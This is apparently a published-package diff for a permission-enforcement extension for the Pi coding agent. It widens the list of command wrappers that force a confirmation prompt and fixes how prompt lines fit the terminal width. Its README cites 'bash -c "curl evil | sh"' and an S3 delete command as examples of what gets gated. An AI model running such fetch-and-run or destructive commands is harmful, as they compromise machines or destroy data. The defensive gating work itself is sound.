@gotgenes/pi-permission-system 20.7.0 → 20.7.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,25 @@ All notable changes to this project will be documented in this file.
5
5
  The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
7
7
 
8
+ ## [20.7.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.7.1...pi-permission-system-v20.7.2) (2026-07-14)
9
+
10
+
11
+ ### Bug Fixes
12
+
13
+ * **pi-permission-system:** floor additional exec-capable indirection wrappers ([#575](https://github.com/gotgenes/pi-packages/issues/575)) ([abddb7b](https://github.com/gotgenes/pi-packages/commit/abddb7b70077cef7fc12f3eea75ce6f38de6006f))
14
+
15
+
16
+ ### Documentation
17
+
18
+ * **pi-permission-system:** record exec-capable wrapper survey and mark Phase 11 Step 6 complete ([#575](https://github.com/gotgenes/pi-packages/issues/575)) ([6485246](https://github.com/gotgenes/pi-packages/commit/6485246577ec1cba992275b983809a1fcb30be2c))
19
+
20
+ ## [20.7.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.7.0...pi-permission-system-v20.7.1) (2026-07-14)
21
+
22
+
23
+ ### Bug Fixes
24
+
25
+ * **pi-permission-system:** clip inline permission prompt lines to terminal width ([e3c6907](https://github.com/gotgenes/pi-packages/commit/e3c6907057070cbb444f4ca0dbc69661849b7dc2)), closes [#573](https://github.com/gotgenes/pi-packages/issues/573)
26
+
8
27
  ## [20.7.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v20.6.0...pi-permission-system-v20.7.0) (2026-07-14)
9
28
 
10
29
 
@@ -326,7 +326,7 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
326
326
  - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
327
327
  An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
328
328
  So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
329
- - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
329
+ - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
330
330
  So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
331
331
  As with the opaque floor, there is no way to auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
332
332
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@gotgenes/pi-permission-system",
3
- "version": "20.7.0",
3
+ "version": "20.7.2",
4
4
  "description": "Permission enforcement extension for the Pi coding agent.",
5
5
  "type": "module",
6
6
  "exports": {
@@ -166,6 +166,17 @@ const INDIRECTION_WRAPPER_NAMES = new Set([
166
166
  "nohup",
167
167
  "timeout",
168
168
  "nice",
169
+ // Exec-capable rewrites and prefix wrappers surveyed in #575: parallelizers
170
+ // (parallel/rust-parallel/rush), a sudo rewrite (doas), and prefix wrappers
171
+ // (setsid/stdbuf/watch/flock) that all always invoke a following command.
172
+ "parallel",
173
+ "rust-parallel",
174
+ "rush",
175
+ "doas",
176
+ "setsid",
177
+ "stdbuf",
178
+ "watch",
179
+ "flock",
169
180
  ]);
170
181
 
171
182
  /**
@@ -2,7 +2,12 @@ import type {
2
2
  ExtensionContext,
3
3
  ExtensionUIContext,
4
4
  } from "@earendil-works/pi-coding-agent";
5
- import { type Component, matchesKey } from "@earendil-works/pi-tui";
5
+ import {
6
+ type Component,
7
+ matchesKey,
8
+ truncateToWidth,
9
+ wrapTextWithAnsi,
10
+ } from "@earendil-works/pi-tui";
6
11
  import {
7
12
  type PermissionPromptDecision,
8
13
  type RequestPermissionOptions,
@@ -126,7 +131,11 @@ class PermissionPromptComponent implements Component {
126
131
  // No cached rendering state to clear.
127
132
  }
128
133
 
129
- render(_width: number): string[] {
134
+ render(width: number): string[] {
135
+ return fitToWidth(this.renderStep(), width);
136
+ }
137
+
138
+ private renderStep(): string[] {
130
139
  switch (this.state.step) {
131
140
  case "decision":
132
141
  return this.renderDecision();
@@ -264,6 +273,24 @@ class PermissionPromptComponent implements Component {
264
273
  }
265
274
  }
266
275
 
276
+ /**
277
+ * Fit rendered lines to the terminal width, satisfying the `ctx.ui.custom`
278
+ * contract that every returned line be a single visual row no wider than
279
+ * `width`. Long lines (e.g. a wide tool-preview message) are wrapped rather
280
+ * than clipped so no content is lost; the final `truncateToWidth` guards the
281
+ * edge cases `wrapTextWithAnsi` cannot split (a lone wide grapheme).
282
+ */
283
+ function fitToWidth(lines: string[], width: number): string[] {
284
+ if (width <= 0) {
285
+ return [];
286
+ }
287
+ return lines.flatMap((line) =>
288
+ wrapTextWithAnsi(line, width).map((wrapped) =>
289
+ truncateToWidth(wrapped, width),
290
+ ),
291
+ );
292
+ }
293
+
267
294
  function isPrintable(data: string): boolean {
268
295
  if (data.length !== 1) {
269
296
  return false;
@@ -21,24 +21,6 @@ export function normalizeFilesystemPath(
21
21
  return flavor.fold(flavor.impl.normalize(pathValue));
22
22
  }
23
23
 
24
- function isPathWithinDirectoryForSubagent(
25
- pathValue: string,
26
- directory: string,
27
- flavor: PathFlavor,
28
- ): boolean {
29
- if (!pathValue || !directory) {
30
- return false;
31
- }
32
-
33
- if (pathValue === directory) {
34
- return true;
35
- }
36
-
37
- const sep = flavor.impl.sep;
38
- const prefix = directory.endsWith(sep) ? directory : `${directory}${sep}`;
39
- return pathValue.startsWith(prefix);
40
- }
41
-
42
24
  /**
43
25
  * Return `true` when `ctx` belongs to an in-process subagent child registered
44
26
  * in `registry` by its session id.
@@ -101,9 +83,5 @@ export function isSubagentExecutionContext(
101
83
  subagentSessionsDir,
102
84
  flavor,
103
85
  );
104
- return isPathWithinDirectoryForSubagent(
105
- normalizedSessionDir,
106
- normalizedSubagentRoot,
107
- flavor,
108
- );
86
+ return flavor.isWithin(normalizedSessionDir, normalizedSubagentRoot);
109
87
  }